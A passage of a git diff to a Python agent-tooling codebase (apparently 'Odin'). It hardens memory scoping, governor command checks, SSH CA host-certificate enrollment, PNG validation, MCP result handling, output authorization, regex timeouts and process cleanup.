{all_mem[user_key][key]}" - if key in all_mem.get("global", {}): + if explicit_scope != "personal" and key in all_mem.get("global", {}): return f"**{key}** (global): {all_mem['global'][key]}" return f"No note found with key '{key}'." @@ -75,7 +77,7 @@ async def _handle_memory_manage(self, inp: dict, *, user_id: str | None = None) try: all_mem = await to_thread_settled(self._load_all_memory) except StoreCorruptError as exc: - return ( + return ToolFailure( "Memory store is currently unreadable or corrupt (a backup copy was " f"preserved). Cannot complete '{action}' to avoid data loss. Details: {exc}" ) @@ -94,11 +96,11 @@ async def _handle_memory_manage(self, inp: dict, *, user_id: str | None = None) key = inp.get("key") value = inp.get("value") if not key or not value: - return "Both 'key' and 'value' are required for save." + return ToolFailure("Both 'key' and 'value' are required for save.") try: all_mem = await to_thread_settled(self._load_all_memory) except StoreCorruptError as exc: - return ( + return ToolFailure( "Memory store is currently unreadable or corrupt (a backup copy was " f"preserved). Cannot complete '{action}' to avoid data loss. Details: {exc}" ) @@ -134,26 +136,26 @@ async def _handle_memory_manage(self, inp: dict, *, user_id: str | None = None) elif action == "delete": key = inp.get("key") if not key: - return "'key' is required for delete." + return ToolFailure("'key' is required for delete.") try: all_mem = await to_thread_settled(self._load_all_memory) except StoreCorruptError as exc: - return ( + return ToolFailure( "Memory store is currently unreadable or corrupt (a backup copy was " f"preserved). Cannot complete '{action}' to avoid data loss. Details: {exc}" ) user_key = f"user_{user_id}" if user_id else None - if user_key and key in all_mem.get(user_key, {}): + if explicit_scope != "global" and user_key and key in all_mem.get(user_key, {}): del all_mem[user_key][key] await to_thread_settled(self._save_all_memory, all_mem) return f"Deleted personal note '{key}'." - elif key in all_mem.get("global", {}): + elif explicit_scope != "personal" and key in all_mem.get("global", {}): del all_mem["global"][key] await to_thread_settled(self._save_all_memory, all_mem) return f"Deleted global note '{key}'." return f"No note found with key '{key}'." - return f"Unknown memory action: {action}" + return ToolFailure(f"Unknown memory action: {action}") def _lists_path(self) -> Path | None: """Return path to data/lists.json (sibling of memory.json).""" diff --git a/src/tools/handlers/system.py b/src/tools/handlers/system.py index 3afa75ae6..6f8b01515 100644 --- a/src/tools/handlers/system.py +++ b/src/tools/handlers/system.py @@ -19,6 +19,7 @@ import shlex from ..branch_freshness import is_test_command, is_test_failure +from ..execution_outcome import ToolFailure from ..input_defaults import default_if_empty from ..process_manager import MAX_POLL_WAIT_SECONDS from ..tool_text import _ERROR_RESULT_PREFIXES, _truncate_lines @@ -111,7 +112,7 @@ async def _handle_run_script(self, inp: dict) -> str | tuple[str, int]: # Sanitize interpreter to prevent injection allowed_interpreters = {"bash", "sh", "python3", "python", "node", "ruby", "perl"} if interpreter not in allowed_interpreters: - return ( + return ToolFailure( f"Unsupported interpreter: {interpreter}. " f"Use one of: {', '.join(sorted(allowed_interpreters))}" ) diff --git a/src/tools/handlers/validation.py b/src/tools/handlers/validation.py index 96e81158c..0d0ed742f 100644 --- a/src/tools/handlers/validation.py +++ b/src/tools/handlers/validation.py @@ -56,7 +56,9 @@ async def _exec( # directly by the SSH/local primitives without touching self. if governor is not None: try: - decision = governor.check(command) + # Use the shared run_command admission path: it carries + # the task-local requester tier and exact effective alias. + allowed, denial, _note = self._govern_command(command, _address) except Exception as ge: # Fail-closed on governor exceptions: we advertise # command-type checks as going through the governor; @@ -65,9 +67,11 @@ async def _exec( # Odin flagged. Emit the error into the result so the # operator sees it, and treat the check as errored. log.exception("governor check raised for validation command") - return 1, f"validate_action: governor check raised {type(ge).__name__}: {ge}" - if not decision.allowed: - return 1, f"governor-blocked: {decision.denial_message()}" + raise RuntimeError( + f"validate_action: governor check raised {type(ge).__name__}: {ge}" + ) from ge + if not allowed: + raise PermissionError(f"governor-blocked: {denial}") # Forwarded per check from run_bundle: True only for type=command # (user-supplied text, a raw command route like run_command — # round 10); fixed-shape probes must keep pre-PR cwd semantics so @@ -79,7 +83,7 @@ async def _exec( alias = _address lease = self._acquire_host(alias) if lease is None: - return 1, f"unknown host alias: {alias}" + raise PermissionError(f"unknown host alias: {alias}") with lease: target = lease.target return await lease.run( diff --git a/src/tools/hosts/control.py b/src/tools/hosts/control.py index 77b94d1d8..6eb5719c6 100644 --- a/src/tools/hosts/control.py +++ b/src/tools/hosts/control.py @@ -18,7 +18,13 @@ from ...llm.secret_scrubber import scrub_output_secrets from ..ssh import is_local_address from .registry import deterministic_host_id -from .trust import HostCandidate, HostTrustError, fingerprint_public_key, normalize_public_key +from .trust import ( + HostCandidate, + HostTrustError, + certificate_authority_key, + fingerprint_public_key, + normalize_public_key, +) _ALIAS_RE = re.compile(r"^[A-Za-z][A-Za-z0-9_.-]{0,63}$") _HOSTNAME_RE = re.compile( @@ -109,8 +115,9 @@ def sanitized_diagnostic(value: bytes | str, limit: int = 500) -> str: class HostEnrollmentManager: """Short-lived candidates that cannot be targeted before connection test.""" - def __init__(self, registry) -> None: + def __init__(self, registry, *, publication_lock: asyncio.Lock | None = None) -> None: self.registry = registry + self._publication_lock = publication_lock or asyncio.Lock() self._candidates: dict[str, HostCandidate] = {} async def prepare( @@ -149,7 +156,10 @@ async def prepare( if existing is None or existing.trust_mode != "legacy": raise HostTrustError("legacy trust is available only to existing legacy hosts") else: - keys = await self.scan(details["address"], details["port"]) + keys = await ( + self.scan_ca(details["address"], details["port"]) + if trust_mode == "ca" else self.scan(details["address"], details["port"]) + ) fingerprints = tuple(fingerprint_public_key(key) for key in keys) expected = body.get("expected_fingerprints") if isinstance(expected, str): @@ -236,6 +246,26 @@ async def scan(self, address: str, port: int) -> tuple[str, ...]: raise HostTrustError("host-key scan returned no supported public keys") return tuple(keys) + async def scan_ca(self, address: str, port: int) -> tuple[str, ...]: + code, output = await _run_argv( + ["ssh-keyscan", "-c", "-T", "8", "-p", str(port), address], _SCAN_TIMEOUT, + ) + if code != 0: + raise HostTrustError(f"host certificate scan failed: {sanitized_diagnostic(output)}") + keys = [] + for raw in output.decode("utf-8", "replace").splitlines(): + if not raw or raw.startswith("#"): + continue + try: + key = certificate_authority_key(raw) + except HostTrustError: + continue + if key not in keys: + keys.append(key) + if not keys: + raise HostTrustError("host certificate scan returned no supported host certificates") + return tuple(keys) + async def import_legacy(self, alias: str, host: ToolHost) -> HostCandidate: if is_local_address(host.address): raise HostTrustError("local hosts do not use SSH host-key enrollment") @@ -286,12 +316,16 @@ async def test(self, token: str) -> HostCandidate: argv = ["sh", "-c", "printf 'odin-host-test linux\\n'"] else: legacy = candidate.trust_mode == "legacy" + key_alias = ( + candidate.address if candidate.trust_mode == "ca" + else f"odin-{candidate.host_id}" + ) known_hosts = ( self.registry.effective_legacy_known_hosts_path if legacy else self.registry.materialize_trust( candidate.host_id, - f"odin-{candidate.host_id}", + key_alias, candidate.trust_mode, candidate.host_keys, ) @@ -324,7 +358,7 @@ async def test(self, token: str) -> HostCandidate: *( [] if legacy - else ["-o", f"HostKeyAlias=odin-{candidate.host_id}"] + else ["-o", f"HostKeyAlias={key_alias}"] ), "-o", "ConnectTimeout=10", @@ -356,22 +390,26 @@ async def test(self, token: str) -> HostCandidate: "platform": observed, "detail": detail, } - active = self.registry.get(candidate.alias) - mismatch = not result["ok"] and _is_host_key_mismatch( - str(result.get("detail", "")) - ) - testing_active_identity = bool( - active is not None - and candidate.address == active.address - and candidate.ssh_user == active.ssh_user - and candidate.port == active.port - and candidate.trust_mode == active.trust_mode - and candidate.host_keys == active.host_keys - ) - if mismatch and testing_active_identity: - self.registry.mark_test_result( - candidate.alias, result, host_key_mismatch=True + # The SSH await must not mutate a staged inventory while its desired + # state is being persisted. Recheck identity inside the publication lock. + async with self._publication_lock: + active = self.registry.get(candidate.alias) + mismatch = not result["ok"] and _is_host_key_mismatch( + str(result.get("detail", "")) ) + testing_active_identity = bool( + active is not None + and candidate.address == active.address + and candidate.ssh_user == active.ssh_user + and candidate.os == active.os + and candidate.port == active.port + and candidate.trust_mode == active.trust_mode + and candidate.host_keys == active.host_keys + ) + if testing_active_identity and (mismatch or result["ok"]): + self.registry.mark_test_result( + candidate.alias, result, host_key_mismatch=mismatch + ) candidate = replace(candidate, tested=bool(result["ok"]), test_result=result) self._candidates[token] = candidate return candidate diff --git a/src/tools/hosts/registry.py b/src/tools/hosts/registry.py index dc1aa9b84..7a84dd54f 100644 --- a/src/tools/hosts/registry.py +++ b/src/tools/hosts/registry.py @@ -347,6 +347,11 @@ def _stage( diagnostic="Duplicate host identity; resolve the configured UUID collision", ) old = previous.get(alias) + if (old is not None and old.trust_state == "mismatch" + and self._same_identity(old, target)): + target = replace( + target, targetable=False, trust_state="mismatch", last_test=old.last_test, + ) if old is not None and self._same_definition(old, target): replacements[alias] = old else: @@ -390,8 +395,15 @@ def mark_test_result( old, generation=self._generation, last_test=dict(result), - targetable=old.targetable and not host_key_mismatch, - trust_state="mismatch" if host_key_mismatch else old.trust_state, + targetable=( + old.enabled if old.trust_state == "mismatch" and result.get("ok") is True + else old.targetable + ) and not host_key_mismatch, + trust_state=( + "mismatch" if host_key_mismatch else + old.trust_mode if old.trust_state == "mismatch" and result.get("ok") is True + else old.trust_state + ), ) snapshot = dict(self._snapshot) snapshot[alias] = updated @@ -478,7 +490,9 @@ def _target_from_config(self, alias: str, config: ToolHost, generation: int) -> trust_state = "invalid" targetable = False else: - host_key_alias = f"odin-{host_id}" + # CA certificates authenticate endpoint principals, not Odin's + # private record UUID. Per-host files still isolate CA trust. + host_key_alias = config.address if trust_mode == "ca" else f"odin-{host_id}" known_hosts = self.materialize_trust( host_id, host_key_alias, trust_mode, keys ) @@ -542,6 +556,14 @@ def _is_targetable(self, target: HostTarget) -> bool: event = self._revoke_events.get(target.runtime_key) return target.targetable and not (event is not None and event.is_set()) + @staticmethod + def _same_identity(left: HostTarget, right: HostTarget) -> bool: + fields = ( + "alias", "host_id", "address", "ssh_user", "os", "port", "trust_mode", + "host_keys", "key_path", "known_hosts_path", "host_key_alias", + ) + return all(getattr(left, field) == getattr(right, field) for field in fields) + @staticmethod def _same_definition(left: HostTarget, right: HostTarget) -> bool: fields = ( diff --git a/src/tools/hosts/trust.py b/src/tools/hosts/trust.py index 9f67cb112..e0020623d 100644 --- a/src/tools/hosts/trust.py +++ b/src/tools/hosts/trust.py @@ -5,6 +5,7 @@ import base64 import binascii import hashlib +import struct from dataclasses import dataclass from typing import Any @@ -57,6 +58,73 @@ def fingerprint_public_key(value: str) -> str: return f"SHA256:{digest}" +def certificate_authority_key(value: str) -> str: + """Extract the signing public key from an OpenSSH *host* certificate. + + Discovery is not trust: prepare still requires the operator's CA fingerprint + and test still verifies the certificate through StrictHostKeyChecking. + """ + parts = value.split() + index = next((i for i, part in enumerate(parts) if "-cert-v01@openssh.com" in part), -1) + try: + if index < 0: + raise ValueError("not a certificate") + raw = base64.b64decode(parts[index + 1], validate=True) + if len(raw) > 65536: + raise ValueError("certificate too large") + offset = 0 + + def take(size: int) -> bytes: + nonlocal offset + if size < 0 or offset + size > len(raw): + raise ValueError("truncated certificate") + data = raw[offset:offset + size] + offset += size + return data + + def string() -> bytes: + return take(struct.unpack(">I", take(4))[0]) + + kind = string().decode("ascii") + if kind != parts[index]: + raise ValueError("certificate type mismatch") + string() # nonce + if kind.startswith("ssh-ed25519-cert-"): + count = 1 + elif kind.startswith("ssh-rsa-cert-"): + count = 2 + elif kind.startswith("ecdsa-sha2-"): + count = 2 + elif kind.startswith("sk-ssh-ed25519-cert-"): + count = 2 + elif kind.startswith("sk-ecdsa-sha2-"): + count = 3 + else: + raise ValueError("unsupported certificate") + for _ in range(count): + string() + take(8) # serial + if struct.unpack(">I", take(4))[0] != 2: + raise ValueError("not a host certificate") + string() # key id + string() # principals + take(16) # validity + string() # critical options + string() # extensions + string() # reserved + authority = string() + string() # signature, checked by SSH during the connection test + if offset != len(raw): + raise ValueError("trailing certificate data") + size = struct.unpack(">I", authority[:4])[0] + authority_type = authority[4:4 + size].decode("ascii") + return normalize_public_key( + authority_type + " " + base64.b64encode(authority).decode("ascii") + ) + except (ValueError, IndexError, struct.error, UnicodeError) as exc: + raise HostTrustError("unsupported or malformed OpenSSH host certificate") from exc + + @dataclass(frozen=True, slots=True) class HostCandidate: token: str diff --git a/src/tools/image/base.py b/src/tools/image/base.py index 97a6f360a..eda3e8c23 100644 --- a/src/tools/image/base.py +++ b/src/tools/image/base.py @@ -2,6 +2,8 @@ from __future__ import annotations +import io +import warnings from abc import ABC, abstractmethod from dataclasses import dataclass @@ -9,17 +11,30 @@ def png_dimensions(data: bytes) -> tuple[int, int] | None: - """(width, height) from a PNG's IHDR, or None if not a valid PNG. - - Also serves as the magic-byte check — the decoded bytes must actually be a - PNG before we ever attach or report dimensions. - """ + """Dimensions only for a complete, decodable, resource-bounded PNG.""" if len(data) < 24 or data[:8] != _PNG_MAGIC or data[12:16] != b"IHDR": return None width = int.from_bytes(data[16:20], "big") height = int.from_bytes(data[20:24], "big") if width <= 0 or height <= 0: return None + # Bound both encoded input and decoded allocation before opening a decoder. + if len(data) > 25 * 1024 * 1024 or width * height > 16_777_216: + return None + from PIL import Image + + try: + with warnings.catch_warnings(): + warnings.simplefilter("error", Image.DecompressionBombWarning) + with Image.open(io.BytesIO(data)) as image: + if image.format != "PNG" or image.size != (width, height): + return None + image.verify() # includes chunk CRCs and required terminal chunks + with Image.open(io.BytesIO(data)) as image: + image.load() # verify alone does not prove pixels decompress + except (OSError, ValueError, SyntaxError, Image.DecompressionBombWarning, + Image.DecompressionBombError): + return None return width, height diff --git a/src/tools/mcp/client.py b/src/tools/mcp/client.py index e8c228d83..e61923474 100644 --- a/src/tools/mcp/client.py +++ b/src/tools/mcp/client.py @@ -1489,11 +1489,25 @@ def binary(item: dict, key: str, kind: str, index: int) -> None: texts.append(f"[{kind or 'unknown'} content]") elif isinstance(item, str): texts.append(item) - if not texts: - structured = result.get("structuredContent") - if structured is not None: + structured = result.get("structuredContent") + if structured is not None: + # MCP recommends a text JSON copy for old clients. Preserve substantive + # structured records beside summaries, but do not repeat that copy. + repeated = False + for text in texts: + candidate = text.strip() + # Some servers wrap their compatibility JSON copy in a fence. + if candidate.startswith(("```json\n", "```\n")) and candidate.endswith("```"): + candidate = candidate.split("\n", 1)[1][:-3].strip() try: - texts.append(json.dumps(structured, indent=2)[: proto.WIRE_RESULT_CEILING]) + if json.loads(candidate) == structured: + repeated = True + break + except (TypeError, ValueError): + pass + if not repeated: + try: + texts.append(json.dumps(structured, indent=2)) except (TypeError, ValueError): texts.append("[unrenderable structured content]") text = "\n".join(t for t in texts if t) or "(no output)" diff --git a/src/tools/mcp/protocol.py b/src/tools/mcp/protocol.py index 27e980ac3..7e835d36d 100644 --- a/src/tools/mcp/protocol.py +++ b/src/tools/mcp/protocol.py @@ -463,12 +463,12 @@ def visit(node: Any, path: tuple[str, ...]) -> str | None: if annotation is not None: if not isinstance(annotation, str) or not annotation: return "x-mcp-header value must be a non-empty string" - if not _TCHAR_RE.match(annotation): + if not _TCHAR_RE.fullmatch(annotation): return f"x-mcp-header value {annotation!r} is not a valid token" if annotation.lower() in seen_lower: return f"duplicate x-mcp-header value {annotation!r}" prop_type = node.get("type") - if prop_type not in _PRIMITIVE_HEADER_TYPES: + if not isinstance(prop_type, str) or prop_type not in _PRIMITIVE_HEADER_TYPES: return ( "x-mcp-header only applies to string/integer/boolean " f"properties, got {prop_type!r}" @@ -537,7 +537,7 @@ def header_param_value(arguments: dict, param: HeaderParam) -> str | None: def encode_header_value(value: str) -> str: """RFC-safe header value: plain when already header-safe (and not sentinel-shaped), else the Base64 sentinel ``=?base64?…?=`` form.""" - if _HEADER_SAFE_RE.match(value) and not _B64_SENTINEL_RE.match(value): + if _HEADER_SAFE_RE.fullmatch(value) and not _B64_SENTINEL_RE.fullmatch(value): return value encoded = base64.b64encode(value.encode("utf-8")).decode("ascii") return f"=?base64?{encoded}?=" diff --git a/src/tools/nested_payload.py b/src/tools/nested_payload.py index d84e6f34a..2485b646c 100644 --- a/src/tools/nested_payload.py +++ b/src/tools/nested_payload.py @@ -2,6 +2,7 @@ from __future__ import annotations +import copy import json import re from typing import Any @@ -119,6 +120,7 @@ def validate_nested_payload( catalog: list[dict], *, allow_placeholders: bool = True, + _depth: int = 0, ) -> dict: """Decode nested JSON fields, validate selected canonical targets, return canonical args. @@ -127,7 +129,9 @@ def validate_nested_payload( """ from .registry import TOOLS - args = decode_nested_payloads(tool_name, canonical_arguments) + if _depth > 16: + raise ValueError("nested tool input exceeds maximum validation depth") + args = decode_nested_payloads(tool_name, copy.deepcopy(canonical_arguments)) def check(target, payload, label): schema = _schema_for(target, catalog) or _schema_for(target, TOOLS) @@ -135,6 +139,8 @@ def check(target, payload, label): raise ValueError(f"{label} selects unknown tool {target!r}") if not isinstance(payload, dict): raise ValueError(f"{label} must be an object") + if target in _NESTED_FIELDS: + payload.update(decode_nested_payloads(target, payload)) # http_probe's new wire schema uses header records, while its public # canonical API and persisted legacy inputs still accept a dictionary. # Validate an equivalent record view, keeping the original dict for @@ -150,6 +156,12 @@ def check(target, payload, label): _validate(schema, validation_view, allow_placeholders=allow_placeholders) else: _validate(schema, payload, allow_placeholders=allow_placeholders) + if target in _NESTED_FIELDS: + decoded = validate_nested_payload( + target, payload, catalog, allow_placeholders=allow_placeholders, + _depth=_depth + 1, + ) + payload.update(decoded) if tool_name in ("schedule_task", "update_schedule"): if ( @@ -181,6 +193,11 @@ def check(target, payload, label): check(step["tool_name"], step["tool_input"], f"step {i} tool_input") elif tool_name == "invoke_skill": target = args.get("name") - if target and isinstance(args.get("input"), dict): - check(target, args["input"], "input") + if target: + if allow_placeholders and isinstance(target, str) and _PLACEHOLDER.search(target): + return ValidatedNestedPayload(args) + payload = args.get("input") + if payload is None: + payload = {} + check(target, payload, "input") return ValidatedNestedPayload(args) diff --git a/src/tools/output_authorization.py b/src/tools/output_authorization.py index 5fb2c28ee..c6fcd3a1f 100644 --- a/src/tools/output_authorization.py +++ b/src/tools/output_authorization.py @@ -66,34 +66,25 @@ def web_output_scope(bot, request): yield return manager = getattr(bot, "api_token_manager", None) - dynamic = manager is not None and manager.resolve(raw) is not None sessions = getattr(request, "app", {}).get("session_manager") session_managed = bool(getattr(request, "_session_managed", False)) - origin = getattr(request, "_api_identity", None) + source = getattr(request, "_auth_source", None) + if source is None and not session_managed: + from ..web.authentication import resolve_credential + _, source = resolve_credential(bot.config.web, manager, raw) def identity(): + from ..web.authentication import current_session_identity, resolve_credential + if session_managed: - if sessions is None or not sessions.validate(raw): - return None - current = getattr(bot, "api_token_manager", None) - user = getattr(origin, "user_id", "") - if current is not None: - found = current.get(user) - if found is not None: - return found - found = next((entry for entry in bot.config.web.api_tokens - if entry.user_id == user), None) - if found is not None: - return found - # Default-admin sessions have no per-token identity. Managed - # token sessions fail closed once their originating token is gone. - if origin is None or user == "api-admin": - return sessions.get_identity(raw) or origin - return None - if dynamic: current = getattr(bot, "api_token_manager", None) - return current.resolve(raw) if current else None - return bot.config.web.resolve_api_identity(raw) + snapshot = (current.auth_snapshot() + if current and hasattr(current, "auth_snapshot") else current) + return (current_session_identity(sessions, raw, bot.config.web, snapshot) + if sessions else None) + current = getattr(bot, "api_token_manager", None) + found, current_source = resolve_credential(bot.config.web, current, raw) + return found if current_source == source else None def tools(): current = identity() @@ -101,6 +92,8 @@ def tools(): return False scope = current.allowed_tools or None tier = getattr(current, "tier", "admin") + if tier not in {"admin", "user", "guest"}: + return False if tier == "guest": return set() if tier == "user": diff --git a/src/tools/output_delivery.py b/src/tools/output_delivery.py index d95abeb5b..5fc4a969e 100644 --- a/src/tools/output_delivery.py +++ b/src/tools/output_delivery.py @@ -3,6 +3,7 @@ import base64 import contextvars +import hashlib import json import re import sqlite3 @@ -37,9 +38,42 @@ class DeliveredOutput(str): Never infer this property from untrusted content or a JSON kind field. """ + truncated: bool = False + evidence_digest: str + + def __new__(cls, text: str, *, evidence_digest: str = ""): + obj = super().__new__(cls, text) + obj.evidence_digest = evidence_digest + return obj + def serialize(value: dict) -> str: - return DeliveredOutput(json.dumps(value, ensure_ascii=True, separators=(",", ":"))) + output = DeliveredOutput(json.dumps(value, ensure_ascii=True, separators=(",", ":"))) + output.truncated = bool(value.get("truncated", False)) + return output + + +def evidence_digest(text: str) -> str: + """Stable full captured evidence identity from code-owned objects only.""" + if isinstance(text, DeliveredOutput) and text.evidence_digest: + return text.evidence_digest + matches = text.matches if isinstance(text, RankedOutput) else () + parts = matches or (text,) + if sum(len(part) for part in parts) + max(0, len(parts) - 1) * 2 > 4194304: + # Unretainable evidence must not trigger an unbounded scrub/copy before + # quota rejection. Hash the complete source in bounded chunks instead; + # only the digest is kept, and domain separation avoids equating it with + # a retained scrubbed snapshot. Hidden bodies still affect identity. + digest = hashlib.sha256(b"unretainable-source\0") + for index, part in enumerate(parts): + if index: + digest.update(b"\n\n") + for start in range(0, len(part), 65536): + digest.update(part[start:start + 65536].encode("utf-8")) + return digest.hexdigest() + canonical = "\n\n".join(scrub_output_secrets(str(m)) for m in matches) if matches else ( + scrub_output_secrets(str(text))) + return hashlib.sha256(canonical.encode("utf-8")).hexdigest() def delivery_failure(reason, status="unknown", *, text="", budget=12000): @@ -49,6 +83,14 @@ def delivery_failure(reason, status="unknown", *, text="", budget=12000): clipping. Preserve a partial tail line when a bounded-state prefix scan can rule out credential context; otherwise drop only that uncertain line. """ + digest = evidence_digest(text) + + def captured(output): + result = DeliveredOutput(str(output), evidence_digest=digest) + # Even compact failure framing omitted the original captured evidence. + result.truncated = True + return result + text = str(text) head, tail = text[:budget+256], text[-budget:] if len(text) > budget: @@ -82,7 +124,7 @@ def envelope(count): compact = serialize(metadata) if len(compact) > budget: compact = serialize({"retention": "failed", "cursor": None}) - return compact if len(compact) <= budget else DeliveredOutput("{}" if budget >= 2 else "") + return captured(compact if len(compact) <= budget else "{}" if budget >= 2 else "") low, high = 0, min(budget, max(len(head), len(tail))) while low < high: @@ -91,7 +133,7 @@ def envelope(count): low = middle else: high = middle-1 - return envelope(low) + return captured(envelope(low)) def render_page(snapshot, *, offset=0, budget=12000, limit=4000, initial=False): @@ -229,15 +271,23 @@ def deliver(text, *, store=None, owner="", channel="", tool="", hosts=(), status="succeeded", budget=12000): matches = getattr(text, "matches", ()) recovery_required = getattr(text, "recovery_required", bool(matches)) + # Hash the FULL canonical captured evidence, never the delivered envelope + # or a preview. Ranked search captures full matches rather than summaries. + digest = evidence_digest(text) + + def captured(output): + result = DeliveredOutput(str(output), evidence_digest=digest) + result.truncated = bool(getattr(output, "truncated", False)) + return result if len(text) <= budget and (not recovery_required or all(match in text for match in matches)): cleaned = scrub_output_secrets(str(text)) if len(cleaned) <= budget: return text if cleaned == text else cleaned text = cleaned if store is None: - return delivery_failure( + return captured(delivery_failure( "Retention unavailable; output not retained; no continuation exists.", status, - text=text, budget=budget) + text=text, budget=budget)) try: snapshot = store.retain( text, owner=owner, channel=channel, tool=tool, hosts=hosts, status=status) @@ -247,9 +297,11 @@ def deliver(text, *, store=None, owner="", channel="", tool="", hosts=(), available = budget-len(pointer) if len(preview) > available: preview = preview[:available-6] + "\n[...]" - return DeliveredOutput(preview + pointer) - return render_page(snapshot, budget=budget, initial=True) + output = DeliveredOutput(preview + pointer) + output.truncated = True # Full ranked matches were deferred, not the summary. + return captured(output) + return captured(render_page(snapshot, budget=budget, initial=True)) except (RetentionError, OSError, sqlite3.Error, UnicodeError) as exc: reason = str(exc) if isinstance(exc, RetentionError) else "Retention storage unavailable." - return delivery_failure( - reason + " no continuation exists.", status, text=text, budget=budget) + return captured(delivery_failure( + reason + " no continuation exists.", status, text=text, budget=budget)) diff --git a/src/tools/output_streamer.py b/src/tools/output_streamer.py index 67fce3854..71f815c2c 100644 --- a/src/tools/output_streamer.py +++ b/src/tools/output_streamer.py @@ -48,6 +48,9 @@ current_call_id: contextvars.ContextVar[str | None] = contextvars.ContextVar( "current_call_id", default=None ) +current_stream_attribution: contextvars.ContextVar[dict | None] = contextvars.ContextVar( + "current_stream_attribution", default=None +) # Stream ids created by the invocation running in this context. The executor # seeds this list before dispatch and reclaims exactly those ids afterwards, so @@ -79,6 +82,7 @@ class StreamChunk: channel_id: str finished: bool = False call_id: str | None = None + attribution: dict | None = None def to_dict(self) -> dict: return { @@ -89,6 +93,7 @@ def to_dict(self) -> dict: "channel_id": self.channel_id, "finished": self.finished, "call_id": self.call_id, + **(self.attribution or {}), } @@ -104,6 +109,7 @@ class _ActiveStream: # one). Stored rather than closed over so settlement paths that do not # own the closure — abandonment — can still emit the terminal chunk. call_id: str = "" + attribution: dict | None = None sequence: int = 0 last_emit: float = 0.0 buffered: str = "" @@ -200,7 +206,9 @@ def create_callback( (tool timeout, cancellation) and the TTL sweep covers a lost owner. """ bound_call_id = current_call_id.get() - stream_id = bound_call_id or f"{tool_name}-{id(object())}-{time.monotonic_ns()}" + # Model-local IDs repeat across channels and turns. Registry ownership + # must be unique separately from wire call correlation. + stream_id = f"{tool_name}-{id(object())}-{time.monotonic_ns()}" # Non-chat callers (agents, schedules, direct dispatch) may not have a # model tool-use id. The generated stream id is still invocation # identity and must ride the wire; emitting None falls back to the tool @@ -222,6 +230,7 @@ def create_callback( ), call_id=call_id, last_emit=now, + attribution=dict(current_stream_attribution.get() or {}), ) self._active_streams[stream_id] = stream registry = call_stream_ids.get() @@ -251,6 +260,7 @@ async def on_output(text: str) -> None: timestamp=ts, channel_id=channel_id, call_id=call_id, + attribution=stream.attribution, ) stream.sequence += 1 stream.last_emit = now @@ -316,6 +326,7 @@ async def _emit_final_chunks(self, stream: _ActiveStream) -> None: timestamp=ts, channel_id=stream.channel_id, call_id=stream.call_id, + attribution=stream.attribution, ) stream.sequence += 1 await self._emit(chunk) @@ -327,6 +338,7 @@ async def _emit_final_chunks(self, stream: _ActiveStream) -> None: channel_id=stream.channel_id, finished=True, call_id=stream.call_id, + attribution=stream.attribution, ) await self._emit(final) diff --git a/src/tools/post_validation.py b/src/tools/post_validation.py index 51fab21bb..3437cb40d 100644 --- a/src/tools/post_validation.py +++ b/src/tools/post_validation.py @@ -28,6 +28,8 @@ from dataclasses import asdict, dataclass, field from typing import Any +import regex as bounded_regex + from ..odin_log import get_logger log = get_logger("tools.post_validation") @@ -46,13 +48,12 @@ DEFAULT_MAX_PARALLEL_CHECKS = 12 # ReDoS hardening limits for the regex_match compare op. -# The combination of pattern + output size caps is cheap belt-and-braces -# protection against catastrophic-backtracking patterns — we can't use -# re2 without adding a native dep, and Python's stdlib re has no -# timeout. We cap both the pattern length and the output window so the -# worst-case runtime is bounded. +# Size limits and heuristic rejection are defense in depth, not a runtime +# bound. The regex engine's deadline is authoritative even for shapes the +# heuristic does not recognize. MAX_REGEX_PATTERN_LEN = 200 MAX_REGEX_INPUT_CHARS = 10_000 +REGEX_TIMEOUT_SECONDS = 0.05 # Patterns with nested quantifiers are a common ReDoS footgun — reject # the obvious shapes at parse time rather than letting them run. _REDOS_HEURISTIC = re.compile( @@ -518,7 +519,7 @@ def _evaluate(check: Check, exit_code: int, output: str) -> tuple[str, str]: return "fail", f"forbidden substring '{expected}' found" return "pass", "" if compare == "equals": - if out_stripped == str(expected or ""): + if out_stripped == str(expected if expected is not None else ""): return "pass", "" return "fail", f"expected '{expected}', got '{out_stripped[:200]}'" if compare == "regex_match": @@ -538,10 +539,14 @@ def _evaluate(check: Check, exit_code: int, output: str) -> tuple[str, str]: ) haystack = output[:MAX_REGEX_INPUT_CHARS] try: - if pattern and re.search(pattern, haystack): + if pattern and bounded_regex.search( + pattern, haystack, timeout=REGEX_TIMEOUT_SECONDS + ): return "pass", "" return "fail", f"regex '{pattern}' did not match" - except re.error as e: + except TimeoutError: + return "error", "regex evaluation exceeded its runtime deadline" + except bounded_regex.error as e: return "error", f"bad regex: {e}" return "error", f"unsupported compare '{compare}' for command check" @@ -667,7 +672,12 @@ async def _run_one(idx: int, check: Check) -> CheckResult: if check.type in ("log_absent", "log_present"): observed = _strip_log_status(observed) result.observed = observed[:500] - status, err = _evaluate(check, exit_code, output) + if check.type == "command" and check.compare == "regex_match": + # No synchronous regex work on the event loop. The engine + # deadline also bounds the worker's lifetime on cancellation. + status, err = await asyncio.to_thread(_evaluate, check, exit_code, output) + else: + status, err = _evaluate(check, exit_code, output) result.status = status result.error = err return result diff --git a/src/tools/process_manager.py b/src/tools/process_manager.py index d7b97ce71..6d0934348 100644 --- a/src/tools/process_manager.py +++ b/src/tools/process_manager.py @@ -114,6 +114,8 @@ def drain_output(): if proc.poll() is None and time.monotonic()>=deadline: timed_out=True rc=proc.returncode if proc.returncode is not None else (124 if timed_out else 143) def alive(): + # Reap our own leader before probing; its zombie is not a live job. + proc.poll() try: os.killpg(pgid,0) return True @@ -151,7 +153,8 @@ def alive(): except (OSError,ValueError,KeyError): pass try: os.close(stdin_fd) except Exception: pass -record={"exit_code":rc,"empty":not alive(),"timed_out":timed_out,"output_truncated":output_state["truncated"],"emitted":output_state["emitted"],"finished_at":time.time(),"output_masked":output_masked} +group_empty=not alive() +record={"exit_code":rc,"empty":group_empty,"group_empty":group_empty,"containment":"process_group_only","timed_out":timed_out,"output_truncated":output_state["truncated"],"emitted":output_state["emitted"],"finished_at":time.time(),"output_masked":output_masked} tmp=exit_path+".tmp" open(tmp,"w").write(json.dumps(record,separators=(",",":"))) os.replace(tmp,exit_path) @@ -196,6 +199,11 @@ def group_alive(): os.killpg(pgid,0); return True except ProcessLookupError: return False except PermissionError: return True +def cleanup_proven(record): + if not isinstance(record,dict): return False + if record.get("containment")=="owned_descendants": return record.get("empty") is True + # Older supervisors wrote empty=False even when the group was verified empty. + return record.get("containment")=="process_group_only" and record.get("group_empty") is True if op=="status": end=time.monotonic()+max(0.0,float(wait_s)) exit_record=load("exit.json") @@ -236,10 +244,8 @@ def group_alive(): else: 